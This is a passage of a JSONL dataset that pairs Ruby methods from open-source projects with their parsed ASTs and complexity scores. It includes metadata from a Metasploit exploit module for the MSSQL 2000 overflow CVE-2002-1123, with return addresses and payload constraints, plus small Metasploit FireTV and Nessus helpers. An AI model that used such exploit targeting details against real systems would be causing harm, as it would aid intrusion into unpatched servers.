\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2002-1123\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"10132\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"5411\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS02-056\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[512]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSSQL 2000 / MSDE <= SP2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1119259322]},{\"type\":\"int\",\"children\":[1120935504]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2002-08-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"587c013c-e458-4bcd-875e-7d4154982594"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/cover.rb","start_line":137,"raw_source":"def write_hero_subheading(top, width)\n    return 0 if cover_page_subheading.blank?\n\n    write_hero_text(\n      top:, width:,\n      text: cover_page_subheading,\n      text_style: styles.cover_hero_subheading,\n      height: styles.cover_hero_subheading_max_height\n    )\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"write_hero_subheading\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"top\"]},{\"type\":\"arg\",\"children\":[\"width\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cover_page_subheading\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},null]},{\"type\":\"send\",\"children\":[null,\"write_hero_text\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"top\"]},{\"type\":\"lvar\",\"children\":[\"top\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"lvar\",\"children\":[\"width\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"cover_page_subheading\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"cover_hero_subheading\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"cover_hero_subheading_max_height\"]}]}]}]}]}]}","id":"b3dc6c45-5742-483b-b3be-40b91ee98009"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/multi_check_helpers.rb","start_line":7,"raw_source":"def print_skipped(reason)\n      $stdout.puts Rainbow('skipped').magenta\n\n      $stdout.puts Rainbow('  Reason:').blue\n      $stdout.puts \"  #{reason}\"\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_skipped\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"str\",\"children\":[\"skipped\"]}]},\"magenta\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Rainbow\",{\"type\":\"str\",\"children\":[\"  Reason:\"]}]},\"blue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}]}]}","id":"3f1bea50-6e91-4895-968c-0989ae492f23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/projects/service_type.rb","start_line":19,"raw_source":"def type\n        enum = ::Types::Projects::ServiceTypeEnum.coerce_result(object.type, context)\n        enum.downcase.camelize\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enum\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Types\"]},\"Projects\"]},\"ServiceTypeEnum\"]},\"coerce_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"type\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"downcase\"]},\"camelize\"]}]}]}","id":"d27a706e-f57d-49fd-aab3-63d9f7d9edf3"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/check_line_breakable.rb","start_line":74,"raw_source":"def extract_first_element_over_column_limit(node, elements, max)\n        line = node.first_line\n\n        # If a `send` or `csend` node is not parenthesized, don't move the first element, because it\n        # can result in changed behavior or a syntax error.\n        if node.call_type? && !node.parenthesized? && !first_argument_is_heredoc?(node)\n          elements = elements.drop(1)\n        end\n\n        i = 0\n        i += 1 while within_column_limit?(elements[i], max, line)\n        i = shift_elements_for_heredoc_arg(node, elements, i)\n\n        return if i.nil?\n        return elements.first if i.zero?\n\n        elements[i - 1]\n      end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_first_element_over_column_limit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"elements\"]},{\"type\":\"arg\",\"children\":[\"max\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"call_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parenthesized?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_argument_is_heredoc?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"elements\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"drop\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_column_limit?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"lvar\",\"children\":[\"max\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[null,\"shift_elements_for_heredoc_arg\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"elements\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"first\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"fab69801-a631-4a60-acd2-7286f155d215"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/firetv/firetv_youtube.rb","start_line":81,"raw_source":"def stop\n    send_request_raw(\n      'method' => 'DELETE',\n      'uri' => '/apps/YouTube/run'\n    )\n  rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,\n         Rex::HostUnreachable => e\n    fail_with(Failure::Unreachable, e)\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/apps/YouTube/run\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"HostUnreachable\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}","id":"5245afe5-cb76-4945-abfa-c9d4e8b87b3a"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/discourse_db.rb","start_line":97,"raw_source":"def query_array(sql, *params)\n      query_result(sql, *params).rows\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]},{\"type\":\"restarg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_result\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},\"rows\"]}]}","id":"30db4ecc-1df7-4030-8802-3f82e319a413"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/message_buffer.rb","start_line":31,"raw_source":"def process!\n        @processing = true\n        receive_buffered_messages\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@processing\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"receive_buffered_messages\"]}]}]}","id":"56f8889a-fd2a-42a1-8ac4-afcef19f8afa"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/video_conversion/aws_media_convert_adapter.rb","start_line":200,"raw_source":"def create_basic_client(endpoint: nil)\n      client_options = { region: SiteSetting.s3_region }\n      client_options[:endpoint] = endpoint if endpoint.present?\n\n      if !SiteSetting.s3_use_iam_profile\n        client_options[:credentials] = Aws::Credentials.new(\n          SiteSetting.s3_access_key_id,\n          SiteSetting.s3_secret_access_key,\n        )\n      end\n\n      Aws::MediaConvert::Client.new(client_options)\n    end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_basic_client\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"endpoint\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_region\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"endpoint\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"endpoint\"]},{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_use_iam_profile\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"credentials\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"Credentials\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_access_key_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_secret_access_key\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Aws\"]},\"MediaConvert\"]},\"Client\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"client_options\"]}]}]}]}","id":"d910c1be-ca12-4797-8925-7e78b87b0de4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/diff_positionable_note.rb","start_line":114,"raw_source":"def shas\n    [\n      original_position.base_sha,\n      original_position.start_sha,\n      original_position.head_sha\n    ].tap do |a|\n      if position != original_position\n        a << position.base_sha\n        a << position.start_sha\n        a << position.head_sha\n      end\n    end\n  end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"shas\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_position\"]},\"base_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_position\"]},\"start_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_position\"]},\"head_sha\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"original_position\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"base_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"start_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"head_sha\"]}]}]},null]}]}]}","id":"1c590a4f-f95d-4047-aa79-ce694c73f8da"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/theme_settings_migrations_runner.rb","start_line":189,"raw_source":"def lookup_overriden_settings\n    hash = {}\n    @theme.theme_settings.each { |row| hash[row.name] = ThemeSettingsManager.cast_row_value(row) }\n    hash\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"lookup_overriden_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@theme\"]},\"theme_settings\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThemeSettingsManager\"]},\"cast_row_value\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"a0d773dc-6d05-460b-a839-40ba32b2767d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/middleware/chain.rb","start_line":119,"raw_source":"def add(klass, *args)\n        remove(klass)\n        entries << Entry.new(@config, klass, *args)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"entries\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entry\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@config\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"4d33db6d-178a-426a-b63d-a51f1e1be87e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_tracking_state.rb","start_line":199,"raw_source":"def self.publish_delete(topic)\n    return unless topic.regular?\n\n    group_ids = secure_category_group_ids(topic)\n\n    message = { topic_id: topic.id, message_type: DELETE_MESSAGE_TYPE }\n\n    MessageBus.publish(\"/delete\", message.as_json, group_ids: group_ids)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"publish_delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"regular?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"group_ids\",{\"type\":\"send\",\"children\":[null,\"secure_category_group_ids\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"const\",\"children\":[null,\"DELETE_MESSAGE_TYPE\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"str\",\"children\":[\"/delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"as_json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_ids\"]},{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]}]}]}]}","id":"b7cf285b-f567-4a2c-8f5c-aaf84243078b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":1002,"raw_source":"def cmd_nessus_scan_launch(*args)\n        if args[0] == '-h'\n          print_status('nessus_scan_launch <scan ID>')\n          print_status('Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs')\n        end\n        if !nessus_verify_token\n          return\n        end\n\n        case args.length\n        when 1\n          scan_id = args[0]\n        else\n          print_status('Usage: ')\n          print_status('nessus_scan_launch <scan ID>')\n          print_status('Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs')\n          return\n        end\n        launch = @n.scan_launch(scan_id)\n        print_good(\"Scan ID #{scan_id} successfully launched. The Scan UUID is #{launch['scan_uuid']}\")\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_nessus_scan_launch\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_scan_launch <scan ID>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nessus_verify_token\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvasgn\",\"children\":[\"scan_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Usage: \"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_scan_launch <scan ID>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_scan_list to list all the availabla scans with their corresponding scan IDs\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"launch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_launch\",{\"type\":\"lvar\",\"children\":[\"scan_id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Scan ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_id\"]}]},{\"type\":\"str\",\"children\":[\" successfully launched. The Scan UUID is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launch\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scan_uuid\"]}]}]}]}]}]}]}","id":"c64ae547-faa9-44a4-9f89-82c2d58f7d86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/instrumentations/project_runner_token_expiration_enabled_metric.rb","start_line":8,"raw_source":"def value\n            return true if Gitlab::CurrentSettings.project_runner_token_expiration_interval&.positive?\n\n            NamespaceSetting.where(NamespaceSetting.arel_table[:project_runner_token_expiration_interval].gt(0)).exists?\n          end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"project_runner_token_expiration_interval\"]},\"positive?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespaceSetting\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NamespaceSetting\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_runner_token_expiration_interval\"]}]},\"gt\",{\"type\":\"int\",\"children\":[0]}]}]},\"exists?\"]}]}]}","id":"8b13ce04-12fd-4110-b109-5cd67c34a828"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/bulk_imports_controller.rb","start_line":18,"raw_source":"def configure\n    session[access_token_key] = configure_params[access_token_key]&.strip\n    session[url_key] = configure_params[url_key]\n\n    verify_blocked_uri && performed? && return\n    validate_configure_params!\n\n    redirect_to status_import_bulk_imports_url(namespace_id: params[:namespace_id])\n  end","complexity_score":25.3,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"access_token_key\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configure_params\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"access_token_key\"]}]},\"strip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"url_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configure_params\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"url_key\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_blocked_uri\"]},{\"type\":\"send\",\"children\":[null,\"performed?\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"validate_configure_params!\"]},{\"type\":\"send\",\